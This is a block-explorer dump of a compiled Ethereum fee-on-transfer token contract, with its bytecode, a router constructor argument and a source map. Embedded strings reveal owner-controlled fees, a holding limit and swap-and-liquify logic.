5050509392505050565b6000808284611c909190612e36565b905083811015611cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccc90612f48565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750601460009054906101000a900460ff16155b8015611d645750601160149054906101000a900460ff165b8015611db15750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e26576013549050611e69565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611ea76002611e99600b54611e8b6009548761255790919063ffffffff16565b6125d190919063ffffffff16565b6125d190919063ffffffff16565b90506000611ebe828461261b90919063ffffffff16565b90506000600267ffffffffffffffff811115611edd57611edc612f68565b5b604051908082528060200260200182016040528015611f0b5781602001602082028036833780820191505090505b5090503081600081518110611f2357611f22612f97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fee9190612fdb565b8160018151811061200257612001612f97565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a0959493929190613101565b600060405180830381600087803b1580156120ba57600080fd5b505af11580156120ce573d6000803e3d6000fd5b50505050600047905060006121036120f260026009546125d190919063ffffffff16565b600b5461261b90919063ffffffff16565b905060006121416002612133846121256009548861255790919063ffffffff16565b6125d190919063ffffffff16565b6125d190919063ffffffff16565b90506000612158828561261b90919063ffffffff16565b905060008111156121fa576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516121af9061318c565b600060405180830381858888f193505050503d80600081146121ed576040519150601f19603f3d011682016040523d82523d6000602084013e6121f2565b606091505b505080915050505b600087111561230c57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161228c969594939291906131a1565b60606040518083038185885af11580156122aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122cf9190613217565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506828860405161230392919061326a565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123d75750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826123ee5760646123f2565b600d545b9050600061243d6064600c546124089190612c28565b61242f84612421600b548a61255790919063ffffffff16565b61255790919063ffffffff16565b6125d190919063ffffffff16565b905061249181600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612531919061273f565b60405180910390a361254c818661261b90919063ffffffff16565b925050509392505050565b600080830361256957600090506125cb565b600082846125779190612c28565b90508284826125869190612c99565b146125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90613305565b60405180910390fd5b809150505b92915050565b600061261383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612665565b905092915050565b600061265d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e6565b905092915050565b600080831182906126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a391906127ea565b60405180910390fd5b50600083856126bb9190612c99565b9050809150509392505050565b600080fd5b6000819050919050565b6126e0816126cd565b81146126eb57600080fd5b50565b6000813590506126fd816126d7565b92915050565b600060208284031215612719576127186126c8565b5b6000612727848285016126ee565b91505092915050565b612739816126cd565b82525050565b60006020820190506127546000830184612730565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612794578082015181840152602081019050612779565b60008484015250505050565b6000601f19601f8301169050919050565b60006127bc8261275a565b6127c68185612765565b93506127d6818560208601612776565b6127df816127a0565b840191505092915050565b6000602082019050818103600083015261280481846127b1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128378261280c565b9050919050565b6128478161282c565b811461285257600080fd5b50565b6000813590506128648161283e565b92915050565b60008060408385031215612881576128806126c8565b5b600061288f85828601612855565b92505060206128a0858286016126ee565b9150509250929050565b60008115159050919050565b6128bf816128aa565b82525050565b60006020820190506128da60008301846128b6565b92915050565b6128e9816128aa565b81146128f457600080fd5b50565b600081359050612906816128e0565b92915050565b60008060408385031215612923576129226126c8565b5b600061293185828601612855565b9250506020612942858286016128f7565b9150509250929050565b600080600060608486031215612965576129646126c8565b5b600061297386828701612855565b935050602061298486828701612855565b9250506040612995868287016126ee565b9150509250925092565b600060ff82169050919050565b6129b58161299f565b82525050565b60006020820190506129d060008301846129ac565b92915050565b6000602082840312156129ec576129eb6126c8565b5b60006129fa84828501612855565b91505092915050565b612a0c8161282c565b82525050565b6000602082019050612a276000830184612a03565b92915050565b60008060408385031215612a4457612a436126c8565b5b6000612a5285828601612855565b9250506020612a6385828601612855565b9150509250929050565b600080600060608486031215612a8657612a856126c8565b5b6000612a94868287016126ee565b9350506020612aa5868287016126ee565b9250506040612ab6868287016126ee565b9150509250925092565b600080600060608486031215612ad957612ad86126c8565b5b6000612ae7868287016128f7565b9350506020612af8868287016126ee565b9250506040612b09868287016126ee565b9150509250925092565b6000819050919050565b6000612b38612b33612b2e8461280c565b612b13565b61280c565b9050919050565b6000612b4a82612b1d565b9050919050565b6000612b5c82612b3f565b9050919050565b612b6c81612b51565b82525050565b6000602082019050612b876000830184612b63565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612bc3600683612765565b9150612bce82612b8d565b602082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c33826126cd565b9150612c3e836126cd565b9250828202612c4c816126cd565b91508282048414831517612c6357612c62612bf9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ca4826126cd565b9150612caf836126cd565b925082612cbf57612cbe612c6a565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d1157607f821691505b602082108103612d2457612d23612cca565b5b50919050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612d60601c83612765565b9150612d6b82612d2a565b602082019050919050565b60006020820190508181036000830152612d8f81612d53565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612dcc600883612765565b9150612dd782612d96565b602082019050919050565b60006020820190508181036000830152612dfb81612dbf565b9050919050565b6000612e0d826126cd565b9150612e18836126cd565b9250828203905081811115612e3057612e2f612bf9565b5b92915050565b6000612e41826126cd565b9150612e4c836126cd565b9250828201905080821115612e6457612e63612bf9565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b6000612ec6603e83612765565b9150612ed182612e6a565b604082019050919050565b60006020820190508181036000830152612ef581612eb9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f32601b83612765565b9150612f3d82612efc565b602082019050919050565b60006020820190508181036000830152612f6181612f25565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612fd58161283e565b92915050565b600060208284031215612ff157612ff06126c8565b5b6000612fff84828501612fc6565b91505092915050565b6000819050919050565b600061302d61302861302384613008565b612b13565b6126cd565b9050919050565b61303d81613012565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130788161282c565b82525050565b600061308a838361306f565b60208301905092915050565b6000602082019050919050565b60006130ae82613043565b6130b8818561304e565b93506130c38361305f565b8060005b838110156130f45781516130db888261307e565b97506130e683613096565b9250506001810190506130c7565b5085935050505092915050565b600060a0820190506131166000830188612730565b6131236020830187613034565b818103604083015261313581866130a3565b90506131446060830185612a03565b6131516080830184612730565b9695505050505050565b600081905092915050565b50565b600061317660008361315b565b915061318182613166565b600082019050919050565b600061319782613169565b9150819050919050565b600060c0820190506131b66000830189612a03565b6131c36020830188612730565b6131d06040830187613034565b6131dd6060830186613034565b6131ea6080830185612a03565b6131f760a0830184612730565b979650505050505050565b600081519050613211816126d7565b92915050565b6000806000606084860312156132305761322f6126c8565b5b600061323e86828701613202565b935050602061324f86828701613202565b925050604061326086828701613202565b9150509250925092565b600060408201905061327f6000830185612730565b61328c6020830184612730565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602183612765565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b905091905056fea2646970667358221220a8da590e496e4ac963d8b8475d06bb204131747ed0f02f98fb0036d148d511b064736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : routeraddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
4517:8899:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8046:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5471:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6716:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7152:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5189:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6446:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5122:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8235:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7670:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6540:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7376:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11681:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5434:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6802:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2647:148;;;;;;;;;;;;;:::i;:::-;;10540:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4761:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2461:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6626:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11445:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5406:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7506:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5532:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5280:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11068:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10817:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6913:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5323:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10687:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2803:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5367:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8046:181;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8214:5:::1;8185:24;8170:12;;:39;;;;:::i;:::-;8169:50;;;;:::i;:::-;8151:15;:68;;;;8046:181:::0;:::o;5471:54::-;;;;:::o;6716:80::-;6764:13;6788:5;6781:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6716:80;:::o;7152:216::-;7227:4;7279:6;7244:11;:23;7256:10;7244:23;;;;;;;;;;;;;;;:32;7268:7;7244:32;;;;;;;;;;;;;;;:41;;;;7322:7;7301:37;;7310:10;7301:37;;;7331:6;7301:37;;;;;;:::i;:::-;;;;;;;;7356:4;7349:11;;7152:216;;;;:::o;5189:36::-;;;;:::o;6446:88::-;6501:7;6519:12;;6512:19;;6446:88;:::o;5122:60::-;;;;:::o;8235:135::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;8356:6:::1;8326:19;:27;8346:6;8326:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;8235:135:::0;;:::o;7670:368::-;7770:4;7825:17;7790:11;:19;7802:6;7790:19;;;;;;;;;;;;;;;:31;7810:10;7790:31;;;;;;;;;;;;;;;;:52;7787:186;;7892:69;7928:6;7892:69;;;;;;;;;;;;;;;;;:11;:19;7904:6;7892:19;;;;;;;;;;;;;;;:31;7912:10;7892:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;7858:11;:19;7870:6;7858:19;;;;;;;;;;;;;;;:31;7878:10;7858:31;;;;;;;;;;;;;;;:103;;;;7787:186;7990:40;8004:6;8012:9;8023:6;7990:13;:40::i;:::-;7983:47;;7670:368;;;;;:::o;6540:80::-;6592:5;4698:1;6601:16;;6540:80;:::o;7376:122::-;7431:4;7455:35;7463:7;7472:17;7455:7;:35::i;:::-;7448:42;;7376:122;;;:::o;11681:120::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11787:6:::1;11765:11;:19;11777:6;11765:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11681:120:::0;;:::o;5434:30::-;;;;;;;;;;;;;:::o;6802:105::-;6868:7;6886:9;:18;6896:7;6886:18;;;;;;;;;;;;;;;;6879:25;;6802:105;;;:::o;2647:148::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2754:1:::1;2717:40;;2738:6;::::0;::::1;;;;;;;;2717:40;;;;;;;;;;;;2785:1;2768:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2647:148::o:0;10540:135::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10616:8:::1;10609:4;;:15;;;;;;;;;;;;;;;;;;10663:4;10635:19;:25;10655:4;;;;;;;;;;;10635:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10540:135:::0;:::o;4761:57::-;;;;:::o;2461:79::-;2499:7;2526:6;;;;;;;;;;;2519:13;;2461:79;:::o;6626:84::-;6676:13;6700:7;6693:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6626:84;:::o;11445:228::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11588:22:::1;11564:21;;:46;;;;;;;;;;;;;;;;;;11644:21;11621:20;;:44;;;;;;;;;;;;;;;;;;11445:228:::0;;:::o;5406:19::-;;;;;;;;;;;;;:::o;7506:156::-;7586:4;7610:44;7624:10;7636:9;7647:6;7610:13;:44::i;:::-;7603:51;;7506:156;;;;:::o;5532:56::-;;;;:::o;5280:36::-;;;;;;;;;;;;;:::o;11068:369::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11201:13:::1;11186:12;:28;;;;11240:13;11225:12;:28;;;;11275:32;11293:13;11275;:17;;:32;;;;:::i;:::-;11264:8;:43;;;;11335:15;11318:14;:32;;;;11395:1;11380:14;;:16;;;;:::i;:::-;11369:8;;:27;11361:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11068:369:::0;;;:::o;10817:243::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10956:8:::1;10942:11;;:22;;;;;;;;;;;;;;;;;;10991:14;10975:13;:30;;;;11035:17;11016:16;:36;;;;10817:243:::0;;;:::o;6913:133::-;6997:7;7015:11;:19;7027:6;7015:19;;;;;;;;;;;;;;;:28;7035:7;7015:28;;;;;;;;;;;;;;;;7008:35;;6913:133;;;;:::o;5323:35::-;;;;;;;;;;;;;:::o;10687:122::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;10783:10:::1;10766:14;:27;;;;10687:122:::0;:::o;2803:214::-;2598:10;2588:20;;:6;;;;;;;;;;:20;;;2580:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;2912:1:::1;2892:22;;:8;:22;;::::0;2884:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2972:8;2943:38;;2964:6;::::0;::::1;;;;;;;;2943:38;;;;;;;;;;;;3001:8;2992:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2803:214:::0;:::o;5367:32::-;;;;;;;;;;;;;:::o;505:190::-;591:7;624:1;619;:6;;627:12;611:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;651:9;667:1;663;:5;;;;:::i;:::-;651:17;;686:1;679:8;;;505:190;;;;;:::o;8378:999::-;8470:4;8530:18;8551:20;8561:9;8551;:20::i;:::-;8530:41;;8615:15;;8604:6;8591:10;:19;;;;:::i;:::-;8590:40;;:74;;;;8634:19;:30;8654:9;8634:30;;;;;;;;;;;;;;;;;;;;;;;;;8590:74;8582:148;;;;;;;;;;;;:::i;:::-;;;;;;;;;8770:16;:14;:16::i;:::-;:37;;;;;8803:4;;;;;;;;;;;8790:17;;:9;:17;;;8770:37;8767:54;;;8809:10;:8;:10::i;:::-;8767:54;8860:21;8893:8;8884:6;:17;;;;:::i;:::-;8860:41;;8916:11;:19;8928:6;8916:19;;;;;;;;;;;;;;;;;;;;;;;;;8915:20;:41;;;;;8952:4;;;;;;;;;;;8939:17;;:9;:17;;;8915:41;8912:95;;;8982:13;8972:23;;;;;:::i;:::-;;;8912:95;9037:53;9059:6;9037:53;;;;;;;;;;;;;;;;;:9;:17;9047:6;9037:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9017:9;:17;9027:6;9017:17;;;;;;;;;;;;;;;:73;;;;9101:22;9126:31;9140:6;9147:9;9126:13;:31::i;:::-;:86;;9206:6;9126:86;;;9160:43;9168:6;9176;9197:4;;;;;;;;;;;9184:17;;:9;:17;;;9160:7;:43::i;:::-;9126:86;9101:111;;9246:40;9271:14;9246:9;:20;9256:9;9246:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9223:9;:20;9233:9;9223:20;;;;;;;;;;;;;;;:63;;;;9321:9;9304:43;;9313:6;9304:43;;;9332:14;9304:43;;;;;;:::i;:::-;;;;;;;;9365:4;9358:11;;;;;8378:999;;;;;:::o;178:179::-;236:7;256:9;272:1;268;:5;;;;:::i;:::-;256:17;;297:1;292;:6;;284:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;348:1;341:8;;;178:179;;;;:::o;10335:197::-;10384:4;10422;;;;;;;;;;;10408:18;;:10;:18;;;;:38;;;;;10440:6;;;;;;;;;;;10439:7;10408:38;:62;;;;;10459:11;;;;;;;;;;;10408:62;:116;;;;;10511:13;;10483:9;:24;10501:4;10483:24;;;;;;;;;;;;;;;;:41;;10408:116;10401:123;;10335:197;:::o;11809:1602::-;5646:4;5637:6;;:13;;;;;;;;;;;;;;;;;;11868:22:::1;11931:16;;11904:9;:24;11922:4;11904:24;;;;;;;;;;;;;;;;:43;11901:180;;;11980:16;;11963:33;;11901:180;;;12045:9;:24;12063:4;12045:24;;;;;;;;;;;;;;;;12028:41;;11901:180;12091:23;12117:53;12168:1;12117:46;12154:8;;12117:32;12136:12;;12117:14;:18;;:32;;;;:::i;:::-;:36;;:46;;;;:::i;:::-;:50;;:53;;;;:::i;:::-;12091:79;;12181:20;12204:35;12223:15;12204:14;:18;;:35;;;;:::i;:::-;12181:58;;12252:21;12290:1;12276:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12252:40;;12321:4;12303;12308:1;12303:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12347:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12337:4;12342:1;12337:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12371:6;;;;;;;;;;;:57;;;12443:12;12470:1;12486:4;12513;12533:15;12371:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;12572:17;12592:21;12572:41;;12624:19;12646:33;12659:19;12676:1;12659:12;;:16;;:19;;;;:::i;:::-;12646:8;;:12;;:33;;;;:::i;:::-;12624:55;;12690:26;12719:51;12768:1;12719:44;12751:11;12719:27;12733:12;;12719:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;12690:80;;12781:26;12810:33;12824:18;12810:9;:13;;:33;;;;:::i;:::-;12781:62;;12878:1;12859:18;:20;12856:174;;;12895:15;12949:20;;;;;;;;;;;12941:34;;12983:18;13008:5;12941:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12925:93;;;;;12880:150;12856:174;13063:1;13045:15;:19;13042:362;;;13080:6;;;;;;;;;;;:22;;;13110:18;13156:4;13180:15;13214:1;13234::::0;13254:21:::1;;;;;;;;;;;13294:15;13080:244;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13344:48;13356:18;13376:15;13344:48;;;;;;;:::i;:::-;;;;;;;;13042:362;11847:1564;;;;;;;;5664:5:::0;5655:6;;:14;;;;;;;;;;;;;;;;;;11809:1602::o;10167:160::-;10247:4;10272:11;:19;10284:6;10272:19;;;;;;;;;;;;;;;;;;;;;;;;;10271:20;:47;;;;;10296:11;:22;10308:9;10296:22;;;;;;;;;;;;;;;;;;;;;;;;;10295:23;10271:47;10264:54;;10167:160;;;;:::o;9727:432::-;9807:7;9834:18;9855:6;:29;;9881:3;9855:29;;;9864:14;;9855:29;9834:50;;9895:17;9915:62;9973:3;9956:14;;:20;;;;:::i;:::-;9915:36;9940:10;9915:20;9926:8;;9915:6;:10;;:20;;;;:::i;:::-;:24;;:36;;;;:::i;:::-;:40;;:62;;;;:::i;:::-;9895:82;;10015:39;10044:9;10015;:24;10033:4;10015:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9988:9;:24;10006:4;9988:24;;;;;;;;;;;;;;;:66;;;;10095:4;10070:42;;10079:6;10070:42;;;10102:9;10070:42;;;;;;:::i;:::-;;;;;;;;10130:21;10141:9;10130:6;:10;;:21;;;;:::i;:::-;10123:28;;;;9727:432;;;;;:::o;701:246::-;759:7;788:1;783;:6;779:47;;813:1;806:8;;;;779:47;836:9;852:1;848;:5;;;;:::i;:::-;836:17;;881:1;876;872;:5;;;;:::i;:::-;:10;864:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;938:1;931:8;;;701:246;;;;;:::o;953:132::-;1011:7;1038:39;1042:1;1045;1038:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1031:46;;953:132;;;;:::o;363:136::-;421:7;448:43;452:1;455;448:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;441:50;;363:136;;;;:::o;1091:189::-;1177:7;1209:1;1205;:5;1212:12;1197:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1236:9;1252:1;1248;:5;;;;:::i;:::-;1236:17;;1271:1;1264:8;;;1091:189;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:118::-;1112:24;1130:5;1112:24;:::i;:::-;1107:3;1100:37;1025:118;;:::o;1149:222::-;1242:4;1280:2;1269:9;1265:18;1257:26;;1293:71;1361:1;1350:9;1346:17;1337:6;1293:71;:::i;:::-;1149:222;;;;:::o;1377:99::-;1429:6;1463:5;1457:12;1447:22;;1377:99;;;:::o;1482:169::-;1566:11;1600:6;1595:3;1588:19;1640:4;1635:3;1631:14;1616:29;;1482:169;;;;:::o;1657:246::-;1738:1;1748:113;1762:6;1759:1;1756:13;1748:113;;;1847:1;1842:3;1838:11;1832:18;1828:1;1823:3;1819:11;1812:39;1784:2;1781:1;1777:10;1772:15;;1748:113;;;1895:1;1886:6;1881:3;1877:16;1870:27;1719:184;1657:246;;;:::o;1909:102::-;1950:6;2001:2;1997:7;1992:2;1985:5;1981:14;1977:28;1967:38;;1909:102;;;:::o;2017:377::-;2105:3;2133:39;2166:5;2133:39;:::i;:::-;2188:71;2252:6;2247:3;2188:71;:::i;:::-;2181:78;;2268:65;2326:6;2321:3;2314:4;2307:5;2303:16;2268:65;:::i;:::-;2358:29;2380:6;2358:29;:::i;:::-;2353:3;2349:39;2342:46;;2109:285;2017:377;;;;:::o;2400:313::-;2513:4;2551:2;2540:9;2536:18;2528:26;;2600:9;2594:4;2590:20;2586:1;2575:9;2571:17;2564:47;2628:78;2701:4;2692:6;2628:78;:::i;:::-;2620:86;;2400:313;;;;:::o;2719:126::-;2756:7;2796:42;2789:5;2785:54;2774:65;;2719:126;;;:::o;2851:96::-;2888:7;2917:24;2935:5;2917:24;:::i;:::-;2906:35;;2851:96;;;:::o;2953:122::-;3026:24;3044:5;3026:24;:::i;:::-;3019:5;3016:35;3006:63;;3065:1;3062;3055:12;3006:63;2953:122;:::o;3081:139::-;3127:5;3165:6;3152:20;3143:29;;3181:33;3208:5;3181:33;:::i;:::-;3081:139;;;;:::o;3226:474::-;3294:6;3302;3351:2;3339:9;3330:7;3326:23;3322:32;3319:119;;;3357:79;;:::i;:::-;3319:119;3477:1;3502:53;3547:7;3538:6;3527:9;3523:22;3502:53;:::i;:::-;3492:63;;3448:117;3604:2;3630:53;3675:7;3666:6;3655:9;3651:22;3630:53;:::i;:::-;3620:63;;3575:118;3226:474;